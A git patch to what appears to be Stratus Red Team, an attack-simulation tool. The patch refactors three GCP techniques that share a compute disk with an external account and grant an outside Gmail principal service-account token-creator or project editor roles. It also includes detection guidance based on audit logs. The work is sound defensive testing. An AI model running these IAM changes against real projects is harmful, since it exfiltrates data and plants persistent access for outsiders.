From bb968657ea20e73928333df03b53613c89d68b4d Mon Sep 17 00:00:00 2001
From: Pepe Berba <6505743+pberba@users.noreply.github.com>
Date: Thu, 27 Jul 2023 18:07:00 +1000
Subject: [PATCH] Allow customizing the attacker e-mail in
gcp.exfiltration.share-compute-disk (#386)
closes #385
---
.../exfiltration/share-compute-disk/main.go | 27 ++++++++++++++-----
.../backdoor-service-account-policy/main.go | 19 ++++---------
.../persistence/invite-external-user/main.go | 22 ++++-----------
v2/internal/utils/gcp/gcp_utils.go | 14 ++++++++++
4 files changed, 45 insertions(+), 37 deletions(-)
diff --git a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go
index f3b9fae9..36e884b1 100644
--- a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go
+++ b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go
@@ -8,6 +8,7 @@ import (
_ "embed"
"fmt"
+ gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/internal/providers"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
@@ -16,8 +17,10 @@ import (
//go:embed main.tf
var tf []byte
+const codeBlock = "```"
+const AttackTechniqueId = "gcp.exfiltration.share-compute-disk"
+
func init() {
- const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "gcp.exfiltration.share-compute-disk",
FriendlyName: "Exfiltrate Compute Disk by sharing it",
@@ -31,6 +34,17 @@ Warm-up:
Detonation:
- Set the IAM policy of the disk so that the attacker account has permissions to read the disk in their own project
+
+!!! note
+
+ Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
+ This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
+ this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `
, for instance:
+
+ ` + codeBlock + `bash
+ export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
+ stratus detonate ` + AttackTechniqueId + `
+ ` + codeBlock + `
`,
Detection: `
You can detect when someone changes the IAM policy of a Compute Disk, using the GCP Admin Activity audit logs event v1.compute.disks.setIamPolicy
. Here's a sample event, shortened for clarity:
@@ -129,14 +143,14 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error
gcp := providers.GCP()
diskName := params["disk_name"]
zone := params["zone"]
- attackerEmail := "christophe@somewhereinthe.cloud"
+ attackerPrincipal := gcp_utils.GetAttackerPrincipal()
log.Println("Exfiltrating " + diskName + " by sharing it with a fictitious attacker")
- err := shareDisk(gcp, diskName, zone, attackerEmail)
+ err := shareDisk(gcp, diskName, zone, attackerPrincipal)
if err != nil {
return fmt.Errorf("failed to share disk: %w", err)
}
- log.Println("Successfully shared disk with a fictitious attacker account " + attackerEmail)
+ log.Println("Successfully shared disk with a fictitious attacker account " + attackerPrincipal)
return nil
}
@@ -154,7 +168,7 @@ func revert(params map[string]string, providers stratus.CloudProviders) error {
return nil
}
-func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetUser string) error {
+func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetPrincipal string) error {
diskClient, err := compute.NewDisksRESTClient(context.Background(), gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
@@ -170,7 +184,7 @@ func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetU
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{
{
- Members: []string{"user:" + targetUser},
+ Members: []string{targetPrincipal},
Role: &roleName,
},
},
@@ -204,3 +218,4 @@ func unshareDisk(gcp *providers.GCPProvider, diskName string, zone string) error
}
return nil
}
+
diff --git a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go
index 2af9aa1f..5c42a948 100644
--- a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go
+++ b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go
@@ -6,9 +6,8 @@ import (
"errors"
"fmt"
"log"
- "os"
- "strings"
+ gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
iam "google.golang.org/api/iam/v1"
@@ -40,12 +39,12 @@ it's a resource-based policy that grants permissions to other identities to impe
!!! info
- Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default.
+ Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
- this behavior by setting the environment variable ` + AttackerEmailEnvVarKey + `
, for instance:
+ this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `
, for instance:
` + codeBlock + `bash
- export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
+ export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
@@ -98,7 +97,7 @@ const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
const RoleToGrant = "iam.serviceAccountTokenCreator"
func detonate(params map[string]string, providers stratus.CloudProviders) error {
- attackerPrincipal := getAttackerPrincipal()
+ attackerPrincipal := gcp_utils.GetAttackerPrincipal()
policy := &iam.Policy{
Bindings: []*iam.Binding{
{
@@ -142,11 +141,3 @@ func setServiceAccountPolicy(providers stratus.CloudProviders, saEmail string, s
return nil
}
-func getAttackerPrincipal() string {
- const UserPrefix = "user:"
- if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
- return UserPrefix + strings.ToLower(attackerEmail)
- } else {
- return UserPrefix + DefaultFictitiousAttackerEmail
- }
-}
diff --git a/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go b/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go
index cdccf410..7d8cd03b 100644
--- a/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go
+++ b/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go
@@ -6,8 +6,6 @@ import (
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
- "os"
- "strings"
)
const AttackTechniqueId = "gcp.persistence.invite-external-user"
@@ -28,12 +26,12 @@ Detonation:
!!! note
- Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default.
+ Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
- this behavior by setting the environment variable ` + AttackerEmailEnvVarKey + `
, for instance:
+ this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `
, for instance:
` + codeBlock + `bash
- export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
+ export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
@@ -101,12 +99,10 @@ which cannot be done through the SetIamPolicy API call. In that case, an I
})
}
-const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com"
-const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
const RoleToGrant = "roles/editor"
func detonate(_ map[string]string, providers stratus.CloudProviders) error {
- attackerPrincipal := getAttackerPrincipal()
+ attackerPrincipal := gcp_utils.GetAttackerPrincipal()
err := gcp_utils.GCPAssignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant)
if err != nil {
return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err)
@@ -115,7 +111,7 @@ func detonate(_ map[string]string, providers stratus.CloudProviders) error {
}
func revert(_ map[string]string, providers stratus.CloudProviders) error {
- attackerPrincipal := getAttackerPrincipal()
+ attackerPrincipal := gcp_utils.GetAttackerPrincipal()
err := gcp_utils.GCPUnassignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant)
if err != nil {
return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err)
@@ -123,11 +119,3 @@ func revert(_ map[string]string, providers stratus.CloudProviders) error {
return nil
}
-func getAttackerPrincipal() string {
- const UserPrefix = "user:"
- if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
- return UserPrefix + strings.ToLower(attackerEmail)
- } else {
- return UserPrefix + DefaultFictitiousAttackerEmail
- }
-}
diff --git a/v2/internal/utils/gcp/gcp_utils.go b/v2/internal/utils/gcp/gcp_utils.go
index c9bc4dc5..50c4b363 100644
--- a/v2/internal/utils/gcp/gcp_utils.go
+++ b/v2/internal/utils/gcp/gcp_utils.go
@@ -1,6 +1,8 @@
package gcp_utils
import (
+ "os"
+ "strings"
"context"
"errors"
"fmt"
@@ -91,3 +93,15 @@ func GCPUnassignProjectRole(gcp *providers.GCPProvider, principal string, roleTo
// no reference to the principal in the project's IAM policy, we're good to go - nothing to do
return nil
}
+
+const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com"
+const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
+
+func GetAttackerPrincipal() string {
+ const UserPrefix = "user:"
+ if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
+ return UserPrefix + strings.ToLower(attackerEmail)
+ } else {
+ return UserPrefix + DefaultFictitiousAttackerEmail
+ }
+}